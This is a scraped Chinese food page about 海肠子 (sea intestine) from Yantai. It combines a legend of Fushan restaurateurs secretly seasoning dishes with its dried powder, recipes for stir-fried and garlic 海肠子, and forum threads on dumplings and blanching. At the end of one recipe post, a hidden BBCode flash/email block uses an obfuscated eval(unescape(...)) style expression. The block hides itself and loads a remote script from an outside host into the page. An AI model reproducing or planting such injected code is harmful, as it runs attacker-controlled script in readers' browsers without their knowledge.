卡夫威尔石家庄:海肠子的传说

2009-5-13 20:44:23
文/刘雪峰
相传，最初福山人到北京开饭店，只是单枪匹马的在天子脚下闯世界，实在不容易。“同行是冤家”，竞争十分激烈。当时王府井大街上并排开着两家饭馆，一家是福山人开的，姓卢，就是后来名震京城的饭店业大老板卢姓的先人；另一家是当地人开的，姓王。两家的资本差不多，铺面也差不多，都是掌柜的亲自下灶，亲自端菜，兼有经理和伙计的双重身份，与厨师、“堂头”的关系都很好——因为两家雇得都是本乡本土的人，人们就习惯地简称为“福山馆”和“大名馆”。
起初，两家的生意都差不多，可后来“福山馆”的生意越做越兴隆，而“大名馆”却每况愈下。许多老主顾走过“大名馆”门口，脚不停步，径直向“福山馆”走去，他们宁肯等上半天，也不肯光顾冷冷清清的“大名馆”。“大名馆”的掌柜受不了啦！亲自光顾“福山馆”，一尝人家端上来的菜，味道确实鲜美。
一天，王老板专门宴请卢老板，称兄道弟地寒暄完了之后，王老板说：“兄弟有幸跟卢老板在一条街上为众人掌勺，赚点余资养家糊口，现在小店生意十分不景气，因为生意都让卢兄争去了。俗话说得好，有饭大家吃，兄弟现在只好向卢老板讨教了。”有道是“强龙压不过地头蛇”，卢老板哪里敢得罪王老板？立即笑脸相迎：“王老板言重了，有什么事尽管吩咐好了。”“没别的，我想送个伙计到贵店学学手艺，就算我沾了你的光。”明眼人都听得出来，人家这是堂而皇之“偷”手艺来了。卢老板又不敢不答应，在人家的地盘上，也只能认了。王老板选择了一个十分精明干练的伙计张明，外号“一见会”，无论什么事都是一见就会。张明到了“福山馆”，变得十分虚心，一点一滴都刻意模仿，炒出来的菜，和“福山馆”的大师傅炒出来的一模一样。王老板十分得意，张明的手艺已经到了可以乱真的地步。说来也怪，同样的菜让卢老板往桌上一端，味道立刻就不一样了，即使是张明炒的菜，卢老板往桌上一端，味道也是鲜美异常，而别人端的菜，就没有那个鲜味。王老板这下可傻眼了，谁让自己没长一双卢老板那样的手来？手长在人家身上，这是没法换也没法学的事。
其实这奥妙就出在海肠子身上。海肠子，特产于烟台，一种腔肠动物，因形似蚯蚓，如鸡肠之状，故名。海肠子虽然形态不美观，但肉质脆嫩奇鲜。每年冬天，卢老板返回老家度岁，趁机大宗收买海肠子，然后焙干，碾成细末，带回北京城。那时的堂倌也好，大师傅也好，腰间都围着块很大的巾子，卢老板把海肠子的细粉末藏在大巾子里，往桌子上端菜的时候瞅空撒上一点，味道自然就变了。当时没有味素之类的增鲜剂，这海肠子粉就充当味精了。
“福山馆”严守着海肠子的秘密，生意越做越红火，渐渐顶垮了其他同行，垄断了京城的酒店业，福山人开的饭馆也越来越多，形成了庞大的“福山帮”。
用海肠子配韭黄烹制，鲜爽无比，是早春最佳的下酒肴馔，此菜由芝罘民间的“长久有余财”演化而来。远在明朝年间，生活在烟台芝罘岛的渔民，每到大年，家家户户都要用韭黄、海肠、猪肉、鲜鱼为主料，熬制成一个大菜，取其谐音“长久有余财”，以寓来年获得更大的丰收。后来，此菜传至饭店，因原菜是大杂烩之类，厨师感到十分不雅，遂对它进行改进，单取韭黄与海肠烹炒，称为“韭黄炒海肠”。此菜以质嫩味佳、清鲜爽口见长，在清末民初的烟台餐馆中极为流行，至今仍为烟台的名菜之一。
韭黄炒海肠
原料：净海肠子200克，韭黄100克，精盐3克，味精3克，花生油30克，绍酒3克，香油3克。
制作：
1、净海肠切成3厘米的段，韭黄洗净，也切成3厘米长的段。
2、锅中添清水烧开，放入海肠子汆熟，捞出控水。
3、锅中加底油烧热，加韭黄煸炒片刻，烹入绍酒，放入海肠子、精盐、味精快速翻炒，淋上香油即可。
特点：质嫩味佳，清鲜适口。
海肠子．．．．．． http://blog.163.com/hengxin_shangmao/blog/static/1795120142009378566592/
义合菜谱 2009
海肠子是烟台地区的特产，它生活在海底，一种软体海洋生物，如果刮大风有时会被海浪卷到岸边，人们会把它捡回家美餐一顿，它的鲜度是其它海产品无法相比的，现在市场上有卖那加工好的，有卖那种内脏没清洗的，一般没洗内脏的要便宜很多，一般2-3元一斤，买回家用剪刀把有牙刺的那头剪掉，把内脏挤出就行了，加工好的是10-15元一斤,买海肠子那是有讲究的，一般要选那种红褐色皮肉厚实的那种，短的肉色发粉的不般都是小的不如成年红褐色海肠子皮肉厚实好吃，买上一斤回家或是炒着吃或是包饺子都是其鲜无比的．以前鲁菜之所以出名海肠也是功不可没的.以前的厨师腰间都会带一小口袋里面装的就是海肠子用火焙干压成细末用于调味的海肠子粉,在菜出锅时顺手在菜上撒上一些海肠粉,食客吃了会赞不绝口,还纳闷为什么这菜别人做怎么就不好吃呢？其实奥秘就在那小口袋中呢．
下面我给朋友介绍几种海肠子的食用做法
把洗好的海肠斜刀切成小拇指长的段，然后锅里放少许水烧开把海肠子倒入锅中划一下立即用自来水冲一下捞出，因为用开水划一下是把海肠的那种粘液焯出，用冷水冲是因为可以激一下海肠让它还是保持那种特有的嫩度，再就是炒出的菜利落不会粘糊糊的．
韭菜切段，锅里放油，烧热加入蒜末、姜末、少许生抽。不要放过多，多了炒出的菜不漂亮，煸一下，然后先放韭菜后入海肠下锅急火翻炒，加盐，不要放味精，韭菜变色即可装盘。
还有一种蒜蓉海肠，就是把海肠按上面要求备好，大蒜要多，切成细末，锅里放油．放入葱末，姜末，少许生抽炝锅，把海肠与蒜末一同下锅翻炒，放盐，同样不放味精，一盘又鲜又脆的蒜蓉海肠就出锅了，注意一定不要炒老了，老了就嚼不动了，鲜度也没有了更别提口感了。
再就是用它包饺子，因它喜韭菜，一般我们都是用韭菜，肉，海肠切成细末合在一起包饺子。是不可多得的美食哦！哈哈[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]
再续海肠子的故事-青青岛社区
9条回复 - 发帖时间: 2009年8月11日
呵呵！没想到海肠子还挺能忽悠的昂，我才看见。 说实话，海肠子在烟台也是高档菜，我们很少在饭店吃，因为它不便宜，百姓家都喜欢隔段时间去集市买点新鲜的回家...
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22楼 方璐 编辑 纸条 博客 八带蛸级 
回复:呵呵！没想到海肠子还挺能忽悠的昂，我才看见。
说实话，海肠子在烟台也是高档菜，我们很少在饭店吃，因为它不便宜，百姓家都喜欢隔段时间去集市买点新鲜的回家饱饺子。这就是海肠子产地的优势。
这形象是我人生最无忧的时候,我永远把这最纯洁的眼神儿珍藏......
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-11 14:46:21
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回复：【方璐】方璐女士您好！我是一个喜欢做饭的人，也经常琢磨着包各式样的饺子，海肠子饺子没有做过。我不知道用海肠子怎么做馅，我想，海肠子先在热水里灼一下？还是和做肉馅饺子一样直接剁了？海肠子配菜还是韭菜好？请您把烟台包海肠子饺子的制作步骤教我一下，可以吗？如果您爱吃日本料理，您来青岛是木有问题滴，我会请您吃的
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 14:13:37
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回复：【鹏飞鸟叫】以下是引用鹏飞鸟叫的帖子：
方璐女士您好！我是一个喜欢做饭的人，也经常琢磨着包各式样的饺子，海肠子饺子没有做过。我不知道用海肠子怎么做馅，我想，海肠子先在热水里灼一下？还是和做肉馅饺子一样直接剁了？海肠子配菜还是韭菜好？请您把烟台包海肠子饺子的制作步骤教我一下，可以吗？如果您爱吃日本料理，您来青岛是木有问题滴，我会请您吃的
哈哈！没想到不止是蜡烛对海肠子情有独钟昂，这又来了一位鹏飞鸟叫的朋友喜欢海肠子。
我就简称你【鹏飞】吧。
鹏飞同志，你知道你的这个回帖是北京蜡烛不远千里在青岛论坛上看见后，再从北京把你馋海肠子的消息通知给了烟台的我，我很是感动你们的海肠子精神，为此，我把海肠子饺子的秘方悄悄的告诉你鹏飞同志，希望你严守秘密，不得外传，只传家族后人，传女不传男。
海肠子饺子的做法——
1. 去集市买海肠，想吃多少买多少。
2. 买回来把海肠子一个个的脑袋（就是带刺的那一头）剪掉，捏着海肠子尾，用手从总后往前捋，把海肠子的肠子都捋出来，这需要你先练耐心。
3.都捋干净了再把海肠子洗干净。
4.生切成大拇指大小的块儿。
5.想吃素馅的，就放点韭菜、小虾仁扇贝丁，葱姜、调料喂好，这叫“海三鲜饺子”。
6.要想吃荤的，那就把切好的海肠子放在肉陷里一起伴。
重要提示：
1.海肠子千万不能在热水里抄，海肠子沾热就熟，熟大了就不嫩了，海肠子要是抄老了，你鹏飞同志就不是吃海肠子了，那就是在吃胶皮管子昂。
2.煮海肠子饺子和煮其他饺子一样。
3.海肠子千万不能和肉一起剁。
4. 顺便问一下：你做还是你夫人做？
5.不管谁做，先把操作程序背熟，以免乱了方寸，成了一锅烩。
好了，才艺先教到这，吃完了海肠子饺子别忘了回报。
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 16:57:48
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回复：【方璐】哈哈,我说方璐同志,你把人家哈喇子都谗出来了呀你这海肠子水饺应该买专利哦,起码要收学生一点学费吧,哈哈
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 17:00:47
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回复：【北京蜡烛】以下是引用北京蜡烛的帖子：
哈哈,我说方璐同志,你把人家哈喇子都谗出来了呀
你怎么还馋，你才吃完海肠子几天就又馋了？你馋那鹏飞同志该怎么办？
这形象是我人生最无忧的时候,我永远把这最纯洁的眼神儿珍藏......
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 17:01:29
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回复：【方璐】哈哈，首先感谢您视同您的族人，我是家里得厨师当然是我做。我会按照您的方法做的
我太会包饺子了，应该是心有灵犀一点通啊。我鹏飞这么大的官还有什么学不会的？
再次感谢你的海肠子饺子的做法!哈哈
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 17:18:20
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回复：【北京蜡烛】也感谢北京蜡烛的牵线搭桥，要不我怎么能取到真经呢？
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-13 17:21:36
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回复:
大海我的故乡......
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-15 12:23:59
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回复:兰子包个海肠子饺子给俺吃？
来源: club.qingdaonews.com 青青岛社区 发表于：2009-08-26 22:05:01
微博 举报 回复 引用31楼 兰子 编辑 纸条 博客 海豚级   高级用户
回复：【鹏飞鸟叫】以下是引用鹏飞鸟叫的帖子：
原来海肠子水饺是出自兰子大姐家啊，我终于搞明白了，方璐从烟台拿来海肠子，兰子大姐包的饺子，恩，这是个充要条件，那就是方璐的烟台的海肠子，兰子的调馅包饺子的手艺这样的海肠子水饺才好吃！兰子大姐什么时间俺也能吃上一顿这样滴海肠子馉渣？？？
鸟叫，这一次嫩还真蒙错了，调馅可是方璐的手艺，她从烟台带来海肠子，到来青岛市场买调馅用的一切辅料，可都是经过方璐的精心挑选，方璐对海肠子饺子是很有讲究的，纯属一条龙。俺们可插不上手，就等着吃饺子了，嘿嘿。
诗情画意，友情连千里。
还是关于海肠子的！
- 圆筒 2009-03-22 23:25
昨天在凤凰台小市看到有卖海肠的，说是大肠，已经弄干净的要10元，炒不老的。想想这几天看到的关于海肠的帖子，一动心，就买了1斤，准备今天晚上试试身手，来个蒜蓉海肠过过瘾。还是要请教大家：海肠这个玩意真的怎么炒也炒不老吗？不用先焯水吧？直接下锅行吗？






- UUALL 2009-03-22 23:25
海肠怎么炒也炒不老不可能的,炒之前是要用热水焯一下的,焯的火侯要掌握好!!!!!!!!!
- 永恒の律 2009-03-22 23:25
讨厌做需要焯水的菜！麻烦不说，营养也损失了。饭店的菜一般都焯水，是不是因为如此一来加快了炒菜的速度，也能让成品有个好卖相。我家做菜可基本上不焯水啊，管它是藕还是芹菜，切好就下锅，大不了多炒一会儿呗。
海肠如果不焯水就炒会怎样？出很多水？变成煮海肠？
- 茹叶 2009-03-22 23:25
以下是引用ittoliu在2005-10-12 10:02:48的发言：
讨厌做需要焯水的菜！麻烦不说，营养也损失了。饭店的菜一般都焯水，是不是因为如此一来加快了炒菜的速度，也能让成品有个好卖相。我家做菜可基本上不焯水啊，管它是藕还是芹菜，切好就下锅，大不了多炒一会儿呗。
海肠如果不焯水就炒会怎样？出很多水？变成煮海肠？
（海肠如果不焯水就炒会怎样？出很多水？变成煮海肠？）是啊!有的饭店做鱼为了快把鱼先用水煮熟了再做，海肠焯一下没事得不会破坏营养的．可不要焯老了！！！！
- 王启超 2009-03-22 23:25
俺的经验是：水开后，将切段的海肠倒入开水中，用筷子搅两圈，立即关火捞出。用蒜末炒时，也是先把蒜炒好，再将海肠倒入锅中打个转就盛出来，否则就老了。这可是俺经历了无数次失败总结出的经验噢～～～～
- 陆亦砂 2009-03-22 23:25
哦？晚上回家就试试看，先来个蒜蓉海肠。为了一次吃个够，就不考虑韭菜炒海肠之类的搭配了。明天早上来个海鲜疙瘩汤。试和海肠拼到底！
- 环零殇 2009-03-22 23:25
等水开了就晚了，肯定老了。
千万不要等水开了，我的经验是：
- 星翼 2009-03-22 23:25
水开之前，先会在锅底形成一层小气泡，等锅底气泡刚开始向上的时候，才是倒入海肠的时候。
如果你要蘸辣根吃，就用筷子搅两圈，立即关火捞出；
如果要再炒着吃（蒜蓉也好、韭菜也好），那就在倒入海肠的时候，同时关火，并立即捞出，然后再炒。
别人我可不告诉他。。。
- 烧焦面包 2009-03-22 23:25
大家回去试试，这是我听一位海边老渔民说的，并且亲自做过N次，每次都令来我家的客人非常满意，就连平常不愿吃的，也抢着吃。。。
美味啊！！！！！
- 阮宏 2009-03-22 23:26
受不了了，现在就去北河街市场，看看有没有。。。[em02][em02][em02][em02][em02][em02]
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